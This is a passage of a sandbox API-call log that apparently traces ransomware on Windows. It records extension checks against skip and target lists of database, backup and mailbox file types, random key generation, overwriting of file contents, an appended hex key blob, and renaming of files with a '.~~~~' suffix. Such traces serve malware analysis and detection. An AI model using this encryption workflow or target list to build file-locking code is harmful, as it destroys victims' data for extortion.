	[0081.532] lstrlenW (lpString=".OST") returned 4
	[0081.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".OST") returned 0x0
	[0081.532] lstrlenW (lpString=".dbx") returned 4
	[0081.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".dbx") returned 0x0
	[0081.532] lstrlenW (lpString=".DB3") returned 4
	[0081.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".DB3") returned 0x0
	[0081.532] lstrlenW (lpString=".DAT") returned 4
	[0081.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".DAT") returned 0x0
	[0081.532] lstrlenW (lpString=".VHDX") returned 5
	[0081.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".VHDX") returned 0x0
	[0081.532] lstrlenW (lpString=".ndf") returned 4
	[0081.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".ndf") returned 0x0
	[0081.532] lstrlenW (lpString=".DB") returned 3
	[0081.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".DB") returned 0x0
	[0081.532] lstrlenW (lpString=".sql") returned 4
	[0081.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".sql") returned 0x0
	[0081.532] lstrlenW (lpString=".MYD") returned 4
	[0081.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".MYD") returned 0x0
	[0081.532] lstrlenW (lpString=".DBT") returned 4
	[0081.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".DBT") returned 0x0
	[0081.532] lstrlenW (lpString=".ACCDB") returned 6
	[0081.532] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".ACCDB") returned 0x0
	[0081.533] lstrlenW (lpString=".fdb") returned 4
	[0081.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".fdb") returned 0x0
	[0081.533] lstrlenW (lpString=".bak") returned 4
	[0081.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".bak") returned 0x0
	[0081.533] lstrlenW (lpString=".myd") returned 4
	[0081.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".myd") returned 0x0
	[0081.533] lstrlenW (lpString=".DTXS") returned 5
	[0081.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".DTXS") returned 0x0
	[0081.533] lstrlenW (lpString=".ckp") returned 4
	[0081.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".ckp") returned 0x0
	[0081.533] lstrlenW (lpString=".dbt") returned 4
	[0081.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".dbt") returned 0x0
	[0081.533] lstrlenW (lpString=".db") returned 3
	[0081.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".db") returned 0x0
	[0081.533] lstrlenW (lpString=".TXT") returned 4
	[0081.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".TXT") returned 0x0
	[0081.533] lstrlenW (lpString=".MDF") returned 4
	[0081.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".MDF") returned 0x0
	[0081.533] lstrlenW (lpString=".bdb") returned 4
	[0081.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".bdb") returned 0x0
	[0081.533] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.533] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0081.533] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.533] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0081.554] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.554] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0081.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0081.554] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20154408754) returned 1
	[0081.554] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9a76b170, dwHighDateTime=0x1d60e1e)) 
	[0081.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0081.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0081.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0081.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe2f0
	[0081.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe2f0 | out: hHeap=0x300000) returned 1
	[0081.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd8c8
	[0081.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398d38
	[0081.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd8c8 | out: hHeap=0x300000) returned 1
	[0081.554] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a90a8
	[0081.554] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398d38 | out: hHeap=0x300000) returned 1
	[0081.554] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0081.555] GetLastError () returned 0x0
	[0081.555] GetLastError () returned 0x0
	[0081.555] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0081.555] GetLastError () returned 0x0
	[0081.555] GetLastError () returned 0x0
	[0081.556] ReadFile (in: hFile=0x120, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x708, lpOverlapped=0x0) returned 1
	[0081.559] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffff8f8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.559] WriteFile (in: hFile=0x120, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x708, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x708, lpOverlapped=0x0) returned 1
	[0081.559] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.559] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.559] WriteFile (in: hFile=0x120, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.559] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.559] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.559] CloseHandle (hObject=0x120) returned 1
	[0081.559] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x2800038
	[0081.560] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\WordMUI.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\word.en-us\\wordmui.xml.~~~~")) returned 1
	[0081.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2800038 | out: hHeap=0x300000) returned 1
	[0081.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0081.560] GetLastError () returned 0x0
	[0081.560] RtlWakeConditionVariable () returned 0x365f70
	[0081.560] GetCurrentThreadId () returned 0x9cc
	[0081.560] GetCurrentThreadId () returned 0x9cc
	[0081.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398d38
	[0081.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7060 | out: hHeap=0x300000) returned 1
	[0081.560] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe440 | out: hHeap=0x300000) returned 1
	[0081.560] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7060
	[0081.560] lstrlenW (lpString=".scr") returned 4
	[0081.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".scr") returned 0x0
	[0081.560] lstrlenW (lpString=".cmd") returned 4
	[0081.560] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".cmd") returned 0x0
	[0081.561] lstrlenW (lpString=".dll") returned 4
	[0081.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".dll") returned 0x0
	[0081.561] lstrlenW (lpString=".bat") returned 4
	[0081.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".bat") returned 0x0
	[0081.561] lstrlenW (lpString=".cpl") returned 4
	[0081.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".cpl") returned 0x0
	[0081.561] lstrlenW (lpString=".sys") returned 4
	[0081.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".sys") returned 0x0
	[0081.561] lstrlenW (lpString=".msc") returned 4
	[0081.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".msc") returned 0x0
	[0081.561] lstrlenW (lpString=".com") returned 4
	[0081.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".com") returned 0x0
	[0081.561] lstrlenW (lpString=".lnk") returned 4
	[0081.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".lnk") returned 0x0
	[0081.561] lstrlenW (lpString=".msp") returned 4
	[0081.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".msp") returned 0x0
	[0081.561] lstrlenW (lpString=".pif") returned 4
	[0081.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".pif") returned 0x0
	[0081.561] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.561] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.561] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pj11od11.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0081.599] lstrlenW (lpString=".sqb") returned 4
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".sqb") returned 0x0
	[0081.599] lstrlenW (lpString=".ost") returned 4
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".ost") returned 0x0
	[0081.599] lstrlenW (lpString=".txt") returned 4
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".txt") returned 0x0
	[0081.599] lstrlenW (lpString=".mdt") returned 4
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".mdt") returned 0x0
	[0081.599] lstrlenW (lpString=".BDB") returned 4
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".BDB") returned 0x0
	[0081.599] lstrlenW (lpString=".eql") returned 4
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".eql") returned 0x0
	[0081.599] lstrlenW (lpString=".DBF") returned 4
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".DBF") returned 0x0
	[0081.599] lstrlenW (lpString=".EQL") returned 4
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".EQL") returned 0x0
	[0081.599] lstrlenW (lpString=".FDB") returned 4
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".FDB") returned 0x0
	[0081.599] lstrlenW (lpString=".EDB") returned 4
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".EDB") returned 0x0
	[0081.599] lstrlenW (lpString=".DACPAC") returned 7
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.599] lstrlenW (lpString=".VHD") returned 4
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".VHD") returned 0x0
	[0081.599] lstrlenW (lpString=".DBV") returned 4
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".DBV") returned 0x0
	[0081.599] lstrlenW (lpString=".dacpac") returned 7
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".dacpac") returned 0x0
	[0081.599] lstrlenW (lpString=".sdf") returned 4
	[0081.599] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".sdf") returned 0x0
	[0081.599] lstrlenW (lpString=".accdb") returned 6
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".accdb") returned 0x0
	[0081.600] lstrlenW (lpString=".DBX") returned 4
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".DBX") returned 0x0
	[0081.600] lstrlenW (lpString=".MDT") returned 4
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".MDT") returned 0x0
	[0081.600] lstrlenW (lpString=".SQB") returned 4
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".SQB") returned 0x0
	[0081.600] lstrlenW (lpString=".vhd") returned 4
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".vhd") returned 0x0
	[0081.600] lstrlenW (lpString=".bac") returned 4
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".bac") returned 0x0
	[0081.600] lstrlenW (lpString=".mdf") returned 4
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".mdf") returned 0x0
	[0081.600] lstrlenW (lpString=".BAK") returned 4
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".BAK") returned 0x0
	[0081.600] lstrlenW (lpString=".BAC") returned 4
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".BAC") returned 0x0
	[0081.600] lstrlenW (lpString=".dbs") returned 4
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".dbs") returned 0x0
	[0081.600] lstrlenW (lpString=".vhdx") returned 5
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".vhdx") returned 0x0
	[0081.600] lstrlenW (lpString=".NDF") returned 4
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".NDF") returned 0x0
	[0081.600] lstrlenW (lpString=".dat") returned 4
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".dat") returned 0x0
	[0081.600] lstrlenW (lpString=".DBS") returned 4
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".DBS") returned 0x0
	[0081.600] lstrlenW (lpString=".CKP") returned 4
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".CKP") returned 0x0
	[0081.600] lstrlenW (lpString=".edb") returned 4
	[0081.600] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".edb") returned 0x0
	[0081.600] lstrlenW (lpString=".PST") returned 4
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".PST") returned 0x0
	[0081.601] lstrlenW (lpString=".dbf") returned 4
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".dbf") returned 0x0
	[0081.601] lstrlenW (lpString=".SQL") returned 4
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".SQL") returned 0x0
	[0081.601] lstrlenW (lpString=".pst") returned 4
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".pst") returned 0x0
	[0081.601] lstrlenW (lpString=".dbv") returned 4
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".dbv") returned 0x0
	[0081.601] lstrlenW (lpString=".SDF") returned 4
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".SDF") returned 0x0
	[0081.601] lstrlenW (lpString=".dtxs") returned 5
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".dtxs") returned 0x0
	[0081.601] lstrlenW (lpString=".db3") returned 4
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".db3") returned 0x0
	[0081.601] lstrlenW (lpString=".OST") returned 4
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".OST") returned 0x0
	[0081.601] lstrlenW (lpString=".dbx") returned 4
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".dbx") returned 0x0
	[0081.601] lstrlenW (lpString=".DB3") returned 4
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".DB3") returned 0x0
	[0081.601] lstrlenW (lpString=".DAT") returned 4
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".DAT") returned 0x0
	[0081.601] lstrlenW (lpString=".VHDX") returned 5
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".VHDX") returned 0x0
	[0081.601] lstrlenW (lpString=".ndf") returned 4
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".ndf") returned 0x0
	[0081.601] lstrlenW (lpString=".DB") returned 3
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".DB") returned 0x0
	[0081.601] lstrlenW (lpString=".sql") returned 4
	[0081.601] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".sql") returned 0x0
	[0081.601] lstrlenW (lpString=".MYD") returned 4
	[0081.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".MYD") returned 0x0
	[0081.602] lstrlenW (lpString=".DBT") returned 4
	[0081.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".DBT") returned 0x0
	[0081.602] lstrlenW (lpString=".ACCDB") returned 6
	[0081.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.602] lstrlenW (lpString=".fdb") returned 4
	[0081.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".fdb") returned 0x0
	[0081.602] lstrlenW (lpString=".bak") returned 4
	[0081.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".bak") returned 0x0
	[0081.602] lstrlenW (lpString=".myd") returned 4
	[0081.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".myd") returned 0x0
	[0081.602] lstrlenW (lpString=".DTXS") returned 5
	[0081.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".DTXS") returned 0x0
	[0081.602] lstrlenW (lpString=".ckp") returned 4
	[0081.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".ckp") returned 0x0
	[0081.602] lstrlenW (lpString=".dbt") returned 4
	[0081.602] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJ11OD11.DLL", lpSrch=".dbt") returned 0x0
	[0081.602] lstrlenW (lpString=".db") returned 3
